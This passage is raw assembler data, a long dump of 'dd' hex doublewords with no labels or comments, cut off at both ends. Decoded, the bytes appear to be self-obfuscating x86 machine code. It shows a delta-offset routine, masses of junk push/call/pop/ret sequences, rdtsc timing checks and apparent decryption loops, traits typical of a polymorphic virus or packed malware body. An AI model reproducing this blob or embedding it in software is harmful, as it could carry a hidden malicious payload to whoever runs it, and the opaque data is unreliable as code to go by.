0E8000000h dd 0Dh, 8FDAD3D1h, 623C6197h, 284ABAE0h, 0DDB501BDh, 5F05E903h dd 791A583h, 8BFE05E9h, 0E92DD59Dh, 5958905h, 0F05E90Bh dd 585h, 0AEE0BF00h, 0E93361h, 8D000000h, 0ECD332B5h, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 0E67FCD8Eh, 31006A86h, 0E92AD59Dh, 0DFF78105h, 0FF3BF6DEh dd 0E91E9595h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 0F2E33005h, 70CB9D6h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 8E86F0C3h, 0C802F639h, 0F7C7F23h, 0C85h dd 6840F00h, 31000000h, 0E912A99Dh, 0FCE18305h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0E6C35343h, 25238E10h dd 0F88BFC51h, 0B8h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 720E4F6Ah, 0BA79EDA4h dd 0 dd 0FE850h, 0A780000h, 5CC20F76h, 54491669h, 382E90FDh dd 59D8BC7h, 5B05E92Eh, 0C233AD5Bh, 0D003E8D1h, 7504E983h dd 50006AF4h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 0D1D316A3h, 95894554h, 5E92DC1h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0C35545h, 67CCCC63h dd 2B507EE6h, 0E900B1BDh, 880D05h, 6E80000h, 0CB000000h dd 0BB7126F7h, 0D19D339Dh, 5F05E92Fh, 2655958Bh, 8D8B05E9h dd 5E90805h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 1EC35242h, 0A485B9CCh, 50633BAEh, 188BC28Bh, 188BC103h dd 0E8D1C18Bh, 188BC203h, 57006A58h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 0AC862EF6h dd 0A09E05D2h, 6A723Eh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 0AB4B84C3h, 799797C5h, 0BD8BAF96h dd 5E90EFDh, 1CF1BD83h, 0F0005E9h, 3D84h, 9DB58900h, 0B805E926h dd 0 dd 0CB33FBBFh, 6D8D8D0Dh, 0E905E94Eh, 8, 1309F69Eh, 0FF5BAE04h dd 11E951h, 0F7190000h, 20B0CA94h, 93C07D0Eh, 3584CEA3h dd 5BD64502h, 0BD83E1FFh, 5E9163Dh, 7840F00h, 6A000004h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 9B88C351h, 0D992E96Eh, 99EBB860h, 163DBD83h dd 0F0105E9h, 3F084h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 7DFCF83Ah, 0D9BF0F76h dd 163DBD83h, 0F0305E9h, 38A86h, 0BD958900h, 6005E905h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 11C35545h dd 18B99D8Bh, 8C6605E9h, 52006AD9h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 4E180FDh, 0BE9h, 552E9700h dd 3BD21261h, 343B1B7h, 68D0Fh, 0BD8B0000h, 5E92699h, 840FC90Ah dd 113h, 6800Fh, 0BD8B0000h, 5E907BDh, 2869858Bh, 9D8905E9h dd 5E91839h, 0E618533h, 870F05E9h, 2, 529069B3h, 0BDC349BFh dd 8A505F09h, 6A90DDh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 0F32BE7C3h, 0AA4ACC41h, 6A006AF9h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 0AFE3C356h, 880F8B4Ah, 1, 0FE8FCh, 9E590000h dd 0AE58CAACh, 16DAE867h, 6CE41A44h, 2FEB8141h, 5F5A54C4h dd 0E1CBDC68h, 0F525034h, 0B87h, 6E900h, 592A0000h, 58CAAC9Eh dd 11E9310Fh, 0F0000000h, 6B5F432Dh, 0DAE26930h, 0E9B68718h dd 0A5E073CAh, 3481585Ah, 0FEC82324h, 0FFDA8B34h, 0E9292D95h dd 0D88B6605h, 0BACE8589h, 6A05ECh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 72D2F3C3h dd 19F78400h, 0BD8B4988h, 5E9069Dh, 19FE9h, 8BFD8A00h dd 0ECBAC685h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 0F8858510h, 0CC474D31h dd 1FA65ABFh, 0BE94Fh, 839E0000h, 33683F5Eh, 0C973E9A1h dd 1800C7B8h, 8B000000h, 0E92799BDh, 0CAB58B05h, 8B05ECBAh dd 0E91E85BDh, 39858B05h, 8105E92Fh, 0BF476BCBh, 6A06892Ah dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 1009C357h, 0FA1BD8Bh, 858B05E9h, 5E92869h dd 0B5896060h, 5E91259h, 15D9BD03h, 896105E9h, 0E92FDD85h dd 46896105h, 0FD9D8B04h, 9605E92Ch, 6810F52h, 50000000h dd 5A310F52h, 66505F58h, 96FA6EBBh, 0E59D8951h, 5F05E90Dh dd 0FFFB8B66h, 0ECBAC6B5h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 98926EA2h dd 4A82E201h, 0C7816680h, 4E810FBh, 0FF000000h, 0E8001F03h dd 10h, 64696A60h, 0D219113Bh, 7795630h, 0B5189893h, 860Fh dd 505F0000h, 310F5250h, 2343BB66h, 448B585Ah, 8B660424h dd 8B008BFEh, 244489F8h, 6A5804h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 423DFC3h, 5DB30E3Eh dd 8D929EE7h, 0ECBACE85h, 51006A05h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0C47AB3FDh dd 89500D38h, 2B532404h, 0E9023DBDh, 95FF5B05h, 5E9292Dh dd 7BF5BF66h, 52006A61h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 68C0F0Eh, 89000000h, 0E9031985h dd 3D85C705h, 305E916h, 0E8000000h, 0Ah, 747E228Bh, 14A014FFh dd 0AE919A3h, 49000000h, 8EE25549h, 47D07B1Dh, 0BD835B59h dd 5ECBACEh, 0C840F00h, 0F5000000h, 21E9h, 0F59D8B00h dd 5005E92Ah, 110C30h, 0C1011144h, 443010E8h, 4C000211h dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h dd 0EBE775h, 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 72066AC3h, 0F5F98B2Ch, 163DBD83h dd 0F0305E9h, 4A785h, 0AE800h, 0AECC0000h, 0B16D2F33h dd 4976EC99h, 10820Fh, 0AE80000h, 43000000h, 4F6DF597h dd 6DBE944Bh, 835F5F0Ah, 0ECBACEBDh, 840F0005h, 474h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 1FC35242h, 0ED0D36F0h dd 0AE92548h, 51000000h, 157C1134h, 0FEA2A21Eh, 0CEB5FFCAh dd 6A05ECBAh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 48EDC352h, 0F0FE2825h, 30F1BD2Bh dd 95FF05E9h, 5E92B75h, 0D33BF66h, 0BAC2B58Bh, 14E905ECh dd 0E9000000h, 0B06A41h, 891A4352h, 5E1C31F9h, 4760EE82h dd 0C76AE729h, 1000106h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 0D20927C4h, 46747780h dd 0BB525096h, 932CD07h, 890F310Fh, 5, 7D98DCBBh, 50585A5Bh dd 519FBF66h, 10E996h, 0E4CC0000h, 81F2442Eh, 0DA9AD5C6h dd 5BAF5AA0h, 0B5FF9D4Eh, 5ECBACEh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 0D2C35545h, 0CEBF660Eh, 4D95FFACh dd 8905E92Bh, 0E90499B5h, 0C2B58B05h, 8B05ECBAh, 0E91C99BDh dd 0DD858B05h, 6A05E90Fh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 891DC353h, 0C486h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 26F293E1h, 6840F06h, 81000000h, 0D40615CFh dd 55958B04h, 0FC05E926h, 0E904C283h, 0Eh, 0BCF5840Eh dd 24DC85E1h, 0B9092CF4h, 0B5891C18h, 5E91D45h, 0F205089h dd 858DFEBFh, 5ECD055h, 0B88689h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 35AF54C3h dd 0DDBD8BBBh, 8905E907h, 0E9115185h, 6A006A05h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 0A747C357h, 0B5FFF503h, 5ECBACEh, 0AD95FFF9h, 905E900h dd 0E9052D85h, 11E95005h, 42000000h, 61CAC71Dh, 0A3BD6879h dd 61808C50h, 2C2638D7h, 6A243489h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0E1CC350h dd 312B801h, 4B29E37Dh, 0F2D9D89h, 6E805E9h, 3000000h dd 61685D3Ah, 0BF0F53AFh, 0FF5B5BD8h, 0ECBACEB5h, 0EF816605h dd 95FF27A2h, 5E93231h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 6AC35545h, 0D8ADA52Dh, 359D8DBFh, 0B1BD8300h dd 5E92Ah, 4B840Fh, 0BE90000h, 69000000h, 29A3A4A8h, 3DD0F10Bh dd 0E85092C9h, 0Dh, 0DFD10C81h, 0A5594367h, 8510C311h dd 5BD98B85h, 6A243489h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 89EDC351h, 0E9283D9Dh dd 0CEB5FF05h, 6A05ECBAh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 5C36C352h, 9D8BF11Dh dd 5E92DFDh, 2F6195FFh, 6A05E9h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 66957DC3h, 29E5C24Eh, 0E9160585h, 6D8D8905h, 0FF05E905h dd 0ECBACEB5h, 51006A05h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 0DB615CFAh, 0E98B43F9h dd 6, 3B613C0Eh, 95FFE77Ch, 5E92DC5h, 54B7F781h, 0BD833DE7h dd 5E903FDh, 0CD840F02h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 60A1C356h dd 0B9B58950h, 5E05E90Dh, 10FDB58Bh, 0E96105E9h, 13h, 80A4676Ah dd 92C7B509h, 70C3B137h, 0B1022938h, 8BF1B920h, 0E9305585h dd 51006A05h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 0B91EBA4Ch, 0C351CA17h, 0CF815FD0h, 2B921CA6h dd 6A0000C6h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 0B442C356h, 82379D5Bh, 0F03D010Dh dd 0EE8h, 0EB9D6700h, 0D7F44D8Ch, 6191B1D5h, 0E9297AF6h dd 11h, 6BEB9273h, 28C0AC3Ch, 0A2FDDE73h, 31A7A57Fh, 8A0F5BE2h dd 0 dd 27A985C7h, 5E9h, 9D8B0000h, 5E9179Dh, 0FFF30DE9h, 50006AFFh dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 0AF7E5FF0h, 0D9BD03BFh, 8B05E91Eh, 55006AC1h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 3B13E632h, 0CFD44996h, 0EB814D06h, 4424B077h, 21E5858Dh dd 0E78005E9h, 0FB8B90CBh, 0FA8B6650h, 6820F90h, 89000000h dd 0E90D4D85h, 8A006A05h, 8B006AFEh, 0E908E5BDh, 0EA858D05h dd 6A05ED49h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 19D2C357h, 8BBFFD9Dh, 0E919419Dh dd 5C08305h, 58B0Fh, 0ACBB0000h, 290E356Eh, 0E9042D85h dd 8B565005h, 4895FF8h, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 32D8B560h, 8BFF87F7h dd 499589D8h, 6A05E924h, 359D8B00h, 6A05E92Dh, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 901FEAF1h, 0B04BFB90h, 1268EB81h, 95FF4D01h, 5E90AA1h dd 3830Fh, 8B660000h, 0BF8D8DF8h, 8B05ECADh, 0FFD88BF8h dd 6870FD1h, 8B000000h, 0E921BD9Dh, 759D2305h, 8305E91Eh dd 0E901BDBDh, 850F0105h, 9Fh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 0AAC35545h, 0ECF4C7Eh, 66BC53F2h dd 6AF8D88Bh, 53006A02h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 58E777B9h, 908BEAA5h, 0B0BF5250h dd 0F374794h, 21E5BB31h, 585A0704h, 0A9BB5050h, 5B1649B3h dd 0E12FBF90h, 515627A4h, 5BF98B66h, 0AD95FF5Bh, 6A05E900h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 112AC355h, 0D79BAF1Ah, 44E66D82h, 0E9DEBF0Fh dd 0DF3h, 0E8h, 0ED815D00h, 5ED49F4h, 26ED8D89h, 6A05E9h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 0DCD926C3h, 0E4477538h, 0DE9FBh, 0EF9F0000h, 1B18CE6Fh dd 0E42156A8h, 8D1C6F2Dh, 0EC904B85h, 53006A05h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 45023584h, 48950D6h, 358D3124h, 6405E908h, 35FFh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 5B63BC3h, 0A06C15FAh, 9ABB33Ch, 0E910A595h, 25896405h dd 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 6C35747h dd 3C978420h, 68985FFh, 6A05E9h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 291F79C3h, 1426F0AFh dd 3359D89h, 0CEBF05E9h, 6A6EC708h, 52006AFFh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0FBCC8041h dd 3B1BD8Bh, 0B5FF05E9h, 5E9182Dh, 0FFDABF0Fh, 0E907C995h dd 11EE905h, 9D2B0000h, 5E924EDh, 9D3300B0h, 5E91E15h dd 9D2970E6h, 5E91649h, 9D8B71E4h, 5E925BDh, 830F613Ch dd 0F8h, 331D9D33h, 0B60F05E9h, 6BAC8h, 0D88A0000h, 0DE8BC18Bh dd 8104E8C1h, 616132DFh, 0E2F76606h, 8E8h, 384C4100h, 8E1B06C5h dd 0BD8589B4h, 5B05E92Eh, 13E8C82Bh, 6A000000h, 980A467h dd 3792C7B5h, 3870C3B1h, 20B10229h, 0BB66F1B9h, 8B5F5E5Eh dd 2880FD1h, 8B000000h, 19E9FAh, 9E80000h, 13000000h, 0DFE11631h dd 0F7935437h, 2B616060h, 0E930E18Dh, 8B5F6105h, 0E92DAD85h dd 0CF816605h, 10E9BBA2h, 7A000000h, 0B1ADB47Ch, 0D0EDC5D9h dd 62B7D6D9h, 834BBF99h, 0C08307C0h, 68A0F00h, 8B000000h dd 0E90DF9BDh, 0FD03B05h, 0B83h, 0D3A5BB00h, 39E90E6Bh dd 0F9000000h, 0E418D8Bh, 816605E9h, 839779C7h, 840F01E1h dd 24h, 4CC0DF81h, 0A5837B57h, 5E90E41h, 0EE20BBFEh, 95893DD2h dd 5E92DADh, 0AF09BB51h, 0E95B57C2h, 0 dd 0DBE8B58Dh, 6A05ECh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 9E521DC3h, 0BE5A9917h, 0E812AF5Bh dd 10h, 48616B3Eh, 992FDF89h, 5F65F6C2h, 2286CCDDh, 108C0Fh dd 0BE90000h, 0EC000000h, 2F5534F5h, 0A40981BFh, 0E95B6B32h dd 14h, 6DBE944Bh, 0BFAC290Ah, 6C360164h, 0AA260EBBh, 64F81297h dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 8BB7C5C3h, 199D8B04h, 0FF05E90Dh, 0E91E9595h dd 0FDB58905h, 0B905E901h, 0CB3h, 37EDBB66h, 0B7FCE183h dd 6AFC8Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 0D98BEDC3h, 9D8BC02Bh, 5E93311h, 75A1F781h dd 0D22B2B5Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 21C35343h, 0F6EC901h, 33ADD9B7h, 3E8D1C2h, 4E983D0h dd 6AF475h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 50E101C3h, 89DA8B5Ah, 0E91D8D9Dh, 880D05h dd 9D8B0000h, 5E90C15h, 2655958Bh, 6A05E9h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 87828C3h dd 0CA9019AFh, 8DBB66C4h, 58D8B7Bh, 5005E908h, 188BC28Bh dd 188BC103h, 0E8D1C18Bh, 188BC203h, 55006A58h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 60F985C4h dd 235D9589h, 0BD8B05E9h, 5E90EFDh, 398D3161h, 8305E918h dd 0E91CF1BDh, 840F0005h, 7Eh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 0E4C35040h, 1AB5AA0Ch, 0B8880Bh dd 89000000h, 0E921DD9Dh, 6D8D8D05h, 6A05E94Eh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 5C80C357h, 0FFF98B66h, 55006AE1h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0BD8B9D1Bh dd 5E92EE1h, 0C1BD8Bh, 0BD8305E9h, 5E9163Dh, 6840F00h dd 0BF000005h, 63895A4Eh, 836FE380h, 0E9163DBDh, 840F0105h dd 50Ch, 0FE9h, 27D09B00h, 6D547945h, 0A3D09778h, 0A17E19B5h dd 163DBD83h, 0F0305E9h, 4B586h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0DF267DACh dd 1D9400E2h, 9D319B39h, 5E9314Dh, 56006A60h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 390CE9A0h dd 23DDBF66h, 9499C9BBh, 0D98C6625h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 0C35242h, 6810F07h, 31000000h dd 0E91DC98Dh, 26CB8105h, 8044F145h, 6A04E1h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0F01375C3h dd 8DDFF79Ah, 0BD8970ADh, 5E912ADh, 2F999D8Bh, 0C90A05E9h dd 158840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 8B1279C3h, 0E9286985h, 50006A05h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 5427693Fh, 8B96E380h, 0E931CDBDh, 61853305h, 6A05E90Eh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 4183C350h, 89FA8B50h, 6A2404h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 213A2FC3h dd 6A43E0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 0E8C35343h, 0C83B9DF7h, 616843E2h, 0E8FCE300h dd 10h, 0B5F692B4h, 2459909Eh, 4C4B8793h, 9856C18Ah, 0BE8h dd 0BC706700h, 94D2B5D2h, 5E47EFE7h, 5F5B5F50h, 9E240481h dd 0F033C03h, 0A8Dh, 0BF0F6000h, 190ABED7h, 0FF616A7Eh dd 0E9292D95h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 40906F91h, 8166FEDAh dd 892CA8C7h, 0ECBACE85h, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0E98AFD36h dd 213h, 10ADB531h, 858B05E9h, 5ECBAC6h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 15h, 0A5C35545h, 0C1B589BDh dd 2B05E902h, 0E90C09BDh, 0C7F805h, 18h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 18h, 4FC35242h, 98C6702h dd 13E9h, 0CC87BE00h, 0C41E5F50h, 6388631Ch, 993E69D4h dd 1D424CA3h, 0BACAB58Bh, 0D38005ECh, 39858B3Ch, 0F05E92Fh dd 686h, 5DBD8B00h, 8905E90Fh, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 693B5CD4h dd 0E18D894Bh, 8B05E92Ah, 0E9286985h, 0A5BD2905h, 8905E910h dd 0E90AAD9Dh, 4468905h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 9EC35141h, 40C24B1Dh, 9D8B5F1Ch, 5E9264Dh dd 0DE8B6650h, 6A243489h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 0ECCFC355h, 0F94F54Ch dd 86h, 0C6B5FF00h, 6A05ECBAh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 3170C355h, 8BCD1675h dd 36268FEh, 5160FAFEh, 0E858DF8Bh, 13h, 662C3B31h, 0C3D2537h dd 55A1672Dh, 4DD0210Ah, 0E81974F0h, 0Bh, 0AAF878F8h, 22369F09h dd 5F323DFBh, 481615Ah, 21009D24h, 0FB8B6605h, 8D64C380h dd 0ECBACE85h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 50D2791Bh, 0C8BFA025h dd 1E6DBD8Bh, 669005E9h, 5050FB8Bh, 0D98B6652h, 12E8310Fh dd 0DF000000h, 0E3E0423h, 9EE75DB3h, 52152892h, 66EF60C6h dd 0EB57BF00h, 5A5F53B5h, 6A9058h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 150424h, 56460000h, 66EE93C3h, 0FF5008BFh dd 0E9292D95h, 0E59D8B05h, 6105E905h, 85C7FB8Bh, 5E9163Dh dd 3, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h dd 0F1C35343h, 0F81E2B24h, 0CEBD83E0h, 5ECBAh, 54840Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 989D42C3h, 0A0228DF2h, 0F88B91D2h, 2B718D89h dd 3EE905E9h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 0ED49C351h, 2018FD0Ch dd 30500AA6h, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h dd 8B00EBE7h, 0ADBD01C0h, 0F05E91Dh, 6AD9B7h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 83C0ADC3h dd 0E9163DBDh, 850F0305h, 3C7h, 5318589h, 0BD8305E9h, 5ECBACEh dd 0B4840F00h, 6A000003h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 26DDC357h, 0B5FFE03Fh dd 5ECBACEh, 2B7595FFh, 9D8B05E9h dd 5E932F5h, 0BAC2B58Bh, 55B705ECh, 106C7h, 0BF660001h dd 895088BEh, 0B602434h, 0E9170985h, 5CD8BB05h, 0FF612077h dd 0ECBACEB5h, 0DB58905h, 0FF05E902h, 0E92B4D95h, 0A98D0105h dd 8B05E917h, 0ECBAC2B5h, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 44E66D82h dd 0B8F2256Ah, 0BD8905EDh, 5E905F9h, 0FAF38166h, 0DD858BF1h dd 6A05E90Fh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 6194C356h, 0A4DBA623h, 959D0334h dd 8905E903h, 0C486h, 0C1952900h, 8B05E926h, 0E9265595h dd 57006A05h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 217CDDCFh, 4C549212h, 0BB66DA5Dh, 7BBEDF9h dd 8330F721h, 6A04C2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 9D8BE6C3h, 5E91DFDh, 6880FF5h, 89000000h dd 0E91DAD9Dh, 20508905h, 0D602BB66h, 0D055858Dh, 6A05ECh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 0D1A80CC3h, 0D6C50C3h, 0BDB58952h, 5B05E90Eh, 895ED380h dd 0B886h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 6A7F92h, 0BACEB5FFh, 4BF05ECh, 0FF0BF93Ah dd 0E900AD95h, 11E905h, 37030000h, 0E67CAC98h, 9CA1BC35h dd 0CA94F719h, 500E20B0h, 4830Fh, 60510000h, 34895B61h dd 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 8BEE6CDBh, 0E92BC1BDh, 0CEB5FF05h, 6A05ECBAh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 0F797C350h, 0AE9h, 0B463C00h, 15811334h dd 0FFC49E41h, 0E9323195h, 0E98D0105h, 8305E92Ah, 0E92AB1BDh dd 840F0005h, 48h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Dh, 0BEC35040h, 0F5790434h, 3A97029Fh, 0E86096F9h dd 0Eh, 60755381h, 0E8175784h, 14F799AAh, 0F18A06F8h, 8B50615Ah dd 8D3196DAh, 5E917E9h, 0BACEB5FFh, 6A05ECh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0F4401C3h dd 0DE8B3720h, 2F6195FFh, 6A05E9h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 0F43F9AC3h, 0B5FFF059h dd 5ECBACEh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 48C35343h, 12A0627Ch, 658070DBh, 6219D89h, 0DF8105E9h dd 7468DE0Bh, 2DC595FFh, 9D0B05E9h, 5E92CC9h, 3FDBD83h dd 0F0205E9h, 5B84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 9D8B4F73h, 5E905FDh, 3055858Bh dd 6A05E9h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 0DE3AEAC3h, 8880Fh, 8B560000h, 0E90219BDh dd 0C65B05h, 0FE8B6600h, 27A985C7h, 5E9h, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 15F54FC3h, 0FD1DB01Dh, 0E9EA313Fh, 0FFFFF31Bh, 8BD88B66h dd 58531C1h, 8D05E92Dh, 0E921E585h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 4D68E934h dd 665029F8h, 905BDF8Bh, 5E8h, 0DA72BC00h, 0BB66A108h dd 505B42F6h, 749581BFh, 6A905Fh, 1480BF66h, 9589006Ah dd 5E91679h, 5984858Dh, 858905EDh, 5E90E91h, 6A05C083h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 7FBCC352h, 0CE8h, 8FC78800h, 354D7FBAh, 96BC9451h dd 0FDBD8B94h, 5F05E904h, 0D189BB50h, 4891A06h, 0D58A6024h dd 6A006A61h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 6071C351h, 0AE8F9h, 0BAC20000h dd 2D78F3B4h, 0EFCB69BBh, 5FF9B70Fh, 0F8D78061h, 0BB66006Ah dd 95FF977Fh, 5E90AA1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 0E9C35747h, 0BF8D8D5Dh, 0FF05ECADh, 0D1B501D1h dd 8305E921h, 0E901BDBDh, 850F0105h, 85h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 14h, 56C35040h, 76ADEF81h dd 26A60EAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 70C35545h, 